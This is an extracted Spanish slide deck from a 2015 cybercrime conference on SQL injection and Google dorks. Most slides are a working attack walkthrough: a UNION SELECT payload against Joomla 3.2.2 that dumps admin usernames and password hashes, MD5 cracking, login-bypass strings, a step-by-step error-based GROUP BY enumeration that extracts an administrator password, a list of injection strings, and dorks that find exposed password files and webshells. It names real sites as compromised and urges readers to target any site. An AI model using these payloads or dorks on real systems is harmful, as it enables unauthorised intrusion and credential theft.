Sie sind auf Seite 1von 54

20-Marzo-

2015
II Jornadas de Prevención del

Fraude y el Cibercrimen

Intrusión Web:
Google Dorks e
Inyección Sql
2 Inyección SQL en Páginas
Web

El Hacking Ético es Delito



Artículo 197.3 C.P.

El que por cualquier medio o procedimiento y vulnerando las


medidas de seguridad establecidas para impedirlo, acceda sin
autorización a datos o programas informáticos contenidos en un
sistema informático o en parte del mismo o se mantenga dentro del
mismo en contra de la voluntad de quien tenga el legítimo derecho a
excluirlo, será castigado con pena de prisión de seis meses a dos
años.
3 Inyección SQL en Páginas
Web

Libertad de Cátedra

La libertad de cátedra es uno de los derechos incluidos dentro
del derecho humano o fundamental de Libertad académica.

Es el derecho a ejercer la docencia, en el ámbito de la 
Educación Superior, con absoluta libertad, es decir, es "la libertad
de enseñar y debatir sin verse limitado por doctrinas instituidas".


 La libertad de llevar a cabo investigaciones y difundir y publicar
los resultados de las mismas, la libertad de expresar libremente
su opinión sobre la institución o el sistema en que trabaja, la
libertad ante la censura institucional y la libertad de participar en
órganos profesionales u organizaciones académicas
representativas.
4 Inyección SQL en Páginas
Web

¿Qué es Inyección SQL?



Es un método de infiltración de código SQL

Aprovecha vulnerabilidades de diseño en código web

Afecta a cualquier lenguaje que use SqlQueries

Es uno de los métodos más usados de intrusión web
consulta := "SELECT * FROM usuarios WHERE nombre = '" + nombreUsuario + "';"

PELIGRO!!!!
Alicia'; DROP TABLE usuarios; SELECT * FROM datos WHERE nombre LIKE '%

RESULTADO:
SELECT * FROM usuarios WHERE nombre = 'Alicia'; DROP TABLE
usuarios; SELECT * FROM datos WHERE nombre LIKE '%';
5 Inyección SQL en Páginas
Web

¿Qué fines alberga?



Casi ninguno bueno

Introducción de código adaware malicioso

Introducción de links a páginas web o publicidad para su
indexación en metabuscadores.

Sólo se salva el Hacking Ético

EJEMPLO:
HOT VIAGRA ILLEGAL PHILLIPINES VIAGRA CIALIS NO RX NEXT DAY
CANIDAVIAGRA GENEIRC VIAGRA SALE VIAGRA (.)(.) VIAGRA CIALIS THIRSTY
ZIP ...
6 Inyección SQL en Páginas
Web

¿Por qué ocurre esto?



Mal diseño del código de consulta SQL

Utilización de código estándar no contrastado

Ausencia de actualización de directivas de Seguridad CMS

Inexistencia de seguimiento de la vida de la página web


Carencia de responsables en seguridad informática.
7 Inyección SQL en Páginas
Web

Algunas páginas infectadas



Universidades

Páginas oficiales de partidos políticos

Páginas oficiales de Ayuntamientos

Páginas web corporativas y particulares, etc.
8 Inyección SQL en Páginas
Web

El más
Famoso:
La
Viagra
9 Inyección SQL en Páginas
Web

Ejemplos interesantes
Universidad de Salamanca
http://www-incyl.usal.es/index.php?option=com_directorio&task=verperfil&id=62&tipo=egalilea
10 Inyección SQL en Páginas
Web

Ejemplos interesantes
Universidad de Extremadura
http://matematicas.unex.es/~brequejo/
11 Inyección SQL en Páginas
Web

Ejemplos interesantes
Página del Partido Socialista
http://www.psoe.es/ambito/nuevayork/forums/index.do?accion=Create&frm=451197&fgr=8250
12 Inyección SQL en Páginas
Web

Ejemplos interesantes
Página del Partido Socialista
http://www.psoe.es/ambito/nuevayork/forums/index.do?accion=Create&frm=451197&fgr=8250
13 Inyección SQL en Páginas
Web

Ejemplos interesantes
Página de Unión, Progreso y Democracia
14 Inyección SQL en Páginas
Web

Ejemplos interesantes

Página de Unión,
Progreso y
Democracia
15 Inyección SQL en Páginas
Web

Ejemplos interesantes
Página de Unión, Progreso y Democracia
<div class="runningtext_x">
<p>Instead you a recurring final step in certain no fax payday cash advance <a href="
http://cashadvance6online.com" title="no fax payday cash advance">no fax payday cash advance</a> factors of
must be having.Are you love with bad things can include your effects of increased dose of cialis <a href="
http://cialis8online.com" title="effects of increased dose of cialis">effects of increased dose of cialis</a> broken into
and submitting an loan.Third borrowers who do business to offer cash so levitra and alpha blockers <a href="
http://levitra6online.com" title="levitra and alpha blockers">levitra and alpha blockers</a> if the more concerned
about everywhere.Typically a couple weeks until convenient thing is viagra prescription <a href="
http://wwwwviagracom.com" title="viagra prescription">viagra prescription</a> necessary steps to become
unreasonable.No long waiting to almost all http://viagra5online.com <a href="http://viagra5online.com"
title="http://viagra5online.com">http://viagra5online.com</a> loan as banking information.Delay when they receive
your creditability especially attractive cash advance today <a href="http://wwwcashadvancescom.com" title="cash
advance today">cash advance today</a> for them whenever they work.Thankfully there for loan providers our
payday loans are http://wwwlevitrascom.com/ <a href="http://wwwlevitrascom.com"
title="http://wwwlevitrascom.com/">http://wwwlevitrascom.com/</a> meant to cover a fax anything.That leads to take
your payday can even less cialis <a href="http://wwwcialiscomcom.com" title="cialis">cialis</a> for the specific
generalization of extension.</p>
</div>
16 Inyección SQL en Páginas
Web

¿Cómo se hace Sqlinjection?


Se buscan vulnerabilidades en los CMS más populares


Joomla es el “Rey de Reyes”

Tampoco se libra Wordpress

Ni Drupal, ni Moodle….


Cualquier sitio web en interesante; incluso el tuyo!!:

Es el mejor laboratorio de prácticas

Hay miles de páginas web esperando
17 Inyección SQL en Páginas
Web

¿Cómo se hace Sqlinjection?


Se buscan páginas web de CMS no actualizadas


Los “ciberdelincuentes buenos”, buscan “0 Days”


Se inyecta código sql en los campos de captura de datos
para provocar una respuesta no contemplada:

USER | PASSWORD
18 Inyección SQL en Páginas
Web

Ejemplos de Sqlinjection

Joomla 3.2.2

Fallo detectado en febrero de 2014

Afectaba al propio núcleo de Joomla

Por tanto funcionaba en todas las versiones anteriores

Buscaba el error en la validación de parámetros web

El error estaba tras consultar el “Weblinks-categories”


El objetivo es provocar que Joomla nos muestre su código
fuente para sacar lo más importante:

USER | PASSWORD
19 Inyección SQL en Páginas
Web

Ejemplos de Sqlinjection
20 Inyección SQL en Páginas
Web

Ejemplos de Sqlinjection
Una instrucción “Normal”:
http://URL/index.php/weblinks-categories?id=1

http://URL/index.php/weblinks-categories?id=X

Resultado:

SQL=SELECT `t`.`id` FROM `ls41c_tags` AS t INNER JOIN


`ls41c_contentitem_tag_map` AS m ON `m`.`tag_id` = `t`.`id`
AND `m`.`type_alias` = 'com_weblinks.categories' AND
`m`.`content_item_id` IN ( X)     
21 Inyección SQL en Páginas
Web

Ejemplos de Sqlinjection
22 Inyección SQL en Páginas
Web

Ejemplos de Sqlinjection

ATENTOS AHORA:

Este error anterior nos ha mostrado una información muy valiosa:


El prefijo de las Tablas de la base de datos

 ...INNER JOIN `ls41c_contentitem_tag_map` ...

Como vemos, en nuestro caso es ls41c


23 Inyección SQL en Páginas
Web

Ejemplos de Sqlinjection

Aprovechemos este error para hacer nuestra consulta:


Consultamos a la Tabla de Usuarios (ls41c_users):

Incluiremos el comando UNION SELECT y seleccionaremos los
valores de username y password

http://URL/index.php/weblinks-categories
?id=0) union select
concat(CHAR(35),username,CHAR(35),password,CHAR(35)) from
`ls41c_users`-- )
24 Inyección SQL en Páginas
Web

Ejemplos de Sqlinjection
Esto genera un nuevo error:
25 Inyección SQL en Páginas
Web

Ejemplos de Sqlinjection
Veámoslo con detalle:

El usuario es admin
La clave está encriptada con un HASH MD5
26 Inyección SQL en Páginas
Web

Ejemplos de Sqlinjection
Sólo nos resta “Deshacer” el MD5:

Mediante la búsqueda de la cadena por internet

Utilizando páginas web para descifrarlo

www.md5online.es
27 Inyección SQL en Páginas
Web

Otras formas de Sqlinjection


Mediante el uso de operadores en los campos de texto

En los campos de consulta de datos


En los campos de Usuario y Contraseña
En cualquier campo que permita introducir datos
28 Inyección SQL en Páginas
Web

Otras formas de Sqlinjection


En la pantalla de Autenticación se nos piden los datos de acceso

El código interno que se ejecuta suele ser algo parecido a:

Select id 
from tabla_usuarios
where usuario='$usuario' and pass='$pass';
29 Inyección SQL en Páginas
Web

Otras formas de Sqlinjection


¿Pero qué pasa si provocamos el error?

Select id 
from tabla_usuarios
where usuario=' 'or '1'='1 ' and pass=''or
'1'='1';
30 Inyección SQL en Páginas
Web

Otras formas de Sqlinjection


Ejemplo

http://www.XXXX.co.in/Attendance/adminlogin.asp
31 Inyección SQL en Páginas
Web

Otras formas de Sqlinjection


Introducimos la instrucción ' OR '1'='1
32 Inyección SQL en Páginas
Web

Otras formas de Sqlinjection


Y “Voila!!!”
33 Inyección SQL en Páginas
Web

Otras formas de Sqlinjection


Ataques a Logins ASP

Comando Dork: inurl:login.asp

En los campos de acceso tecleamos ' having 1= 1--


34 Inyección SQL en Páginas
Web

Otras formas de Sqlinjection


Ataques a Logins ASP

Comando Dork: inurl:login.asp

En las páginas vulnerables se producirá el siguiente error:


35 Inyección SQL en Páginas
Web

Otras formas de Sqlinjection


Ataques a Logins ASP

Comando Dork: inurl:login.asp

El Error anterior nos dio el nombre de la tabla y la columna:

Ingresamos ' group by Usuario.Clave having 1 = 1--


36 Inyección SQL en Páginas
Web

Otras formas de Sqlinjection


Ataques a Logins ASP

Comando Dork: inurl:login.asp

El Error anterior nos dio un nuevo dato de la tabla y la columna:

Ingresamos ' group by Usuario.Clave, Usuario.Nombre having 1=1--


37 Inyección SQL en Páginas
Web

Otras formas de Sqlinjection


Ataques a Logins ASP

Comando Dork: inurl:login.asp

Ya tenemos el nombre de la Tabla y la Columna


“usuario.clave_de_acceso”:

Ingresamos ' group by Usuario.Clave, Usuario.Nombre,


Usuario.Clave_de_Acceso having 1=1--
38 Inyección SQL en Páginas
Web

Otras formas de Sqlinjection


Ataques a Logins ASP

Comando Dork: inurl:login.asp

Ya tenemos la Tabla y la Columna “usuario.password”:

Ingresamos ' group by Usuario.Clave, Usuario.Nombre,


Usuario.Clave_de_Acceso, Usuario.Password having 1=1--
39 Inyección SQL en Páginas
Web

Otras formas de Sqlinjection


Ataques a Logins ASP

Comando Dork: inurl:login.asp

La siguiente tabla es “usuario.Tipo_De_Usuario”:

Ingresamos ' group by Usuario.Clave, Usuario.Nombre,


Usuario.Clave_de_Acceso, Usuario.Password, Usuario.Tipo_de_Usuario
having 1=1--
40 Inyección SQL en Páginas
Web

Otras formas de Sqlinjection


Ataques a Logins ASP

Comando Dork: inurl:login.asp

La siguiente tabla es “usuario.Punto_De_Captura”:

Ingresamos ' group by Usuario.Clave, Usuario.Nombre,


Usuario.Clave_de_Acceso, Usuario.Password, Usuario.Tipo_de_Usuario,
Usuario.Punto_de_Captura having 1=1--
41 Inyección SQL en Páginas
Web

Otras formas de Sqlinjection


Ataques a Logins ASP

Comando Dork: inurl:login.asp

La siguiente tabla es “Usuario.ESTATUS”:

Ingresamos ' group by Usuario.Clave, Usuario.Nombre,


Usuario.Clave_de_Acceso, Usuario.Password, Usuario.Tipo_de_Usuario,
Usuario.Punto_de_Captura, Usuario.ESTATUS having 1=1--

No arroja más Resultados y


vuelve al punto de Login
42 Inyección SQL en Páginas
Web

Otras formas de Sqlinjection


Ataques a Logins ASP

Comando Dork: inurl:login.asp

Ingresamos ' union select 1,1,1,1,1,1,min(Clave_de_Acceso) from


Usuario where Clave_de_Acceso > 'a'—

Tantos 1 como tablas hemos encontrado!!


43 Inyección SQL en Páginas
Web

Otras formas de Sqlinjection


Ataques a Logins ASP

Comando Dork: inurl:login.asp

Ya tenemos al Usuario de Administración:

Ingresamos ' union select 1,1,1,1,1,1,min(Password) from Usuario where


Clave_de_Acceso > 'ADMIN'--

Ya tenemos la Clave!
44 Inyección SQL en Páginas
Web

Otras formas de Sqlinjection


Ya tenemos Acceso a la Web como administrador
45 Inyección SQL en Páginas
Web

Otros parámetros de Sqlinjection


Pueden hacerse otros tipos de consultas
‘ or 1=1 – ” or 1=1–
1'or’1'=’1 or 1=1–
admin’– ‘ or a=a–
” or 0=0 – ” or “a”=”a
or 0=0 – ‘) or (‘a’='a
‘ or 0=0 # “) or (“a”=”a
” or 0=0 # hi” or “a”=”a
or 0=0 # hi” or 1=1 –
‘ or ‘x’='x hi’ or 1=1 –
” or “x”=”x hi’ or ‘a’='a
‘) or (‘x’='x hi’) or (‘a’='a
‘ or 1=1– hi”) or (“a”=”)
46 Inyección SQL en Páginas
Web

Los «Dorks»: Google Hacking


¿Qué es un Dork?


Google dorks son combinaciones de operadores, o
comandos de búsqueda especiales que se utilizan para
extraer información valiosa o sensible desde Google.

También se les denomina GoogleDorks

Existen multitud de páginas web donde se muestran los
comandos Dork de Google

La más famosa:
http://www.exploit-db.com/google-dorks/
47 Inyección SQL en Páginas
Web

Los «Dorks» más típicos


Site:

Site:nombrededominio.extension «cadena a buscar»

Filetype:

filetype:extensión «nombredelfichero»

Inurl:

Inurl:”página a buscar”

intitle:

Intitle: “témino a buscar”

Intext:

Intext:”Texto a buscar dentro de un fichero”

Link:

Link: “enlace web a buscar
48 Inyección SQL en Páginas
Web

Los «Dorks» más típicos


Site:

Site:nombrededominio.extension «cadena a buscar»

site:usal.es "azithromycin“

Nos devolverá todas las páginas pertenecientes al Dominio


Usal.es que contengan el término “azithromycin”
49 Inyección SQL en Páginas
Web

Los «Dorks» más típicos


Filetype:

filetype:extensión «nombredelfichero»

filetype:sql “# dumping data for table” “`PASSWORD` varchar”

Busca peticiones de contenido en ficheros con extensión “XXX”


50 Inyección SQL en Páginas
Web

Los «Dorks» más típicos


Inurl:

Inurl:”Texto a buscar”

inurl:webarch/mainframe.cgi
inurl:intranet filetype:doc confidential


La primera instrucción busca impresoras de red

La segunda instrucción busca documentos confidenciales
dentro de una intranet
51 Inyección SQL en Páginas
Web

Los «Dorks» más típicos


Intext:

Intext:”Texto a buscar dentro de un fichero”

filetype:php intext:"!C99Shell v. 1.0 beta"

Busca ficheros php que gestionen la Shell C99; C99 es una consola
de gestión vía Web
52 Inyección SQL en Páginas
Web

Los «Dorks» más típicos


Link:

Link: “enlace web a buscar

Link:elpais.com

Muestra un listado de páginas web que contienen el link de la


revista.
53 Inyección SQL en Páginas
Web

Los «Dorks» más típicos


Combinaciones

inurl:"/root/etc/passwd" intext:"home/*:“

inurl:/administrator/index.php?autologin=1

filetype:xls "username | password"
54 Inyección SQL en Páginas
Web

Veamos algunos Resultados

Das könnte Ihnen auch gefallen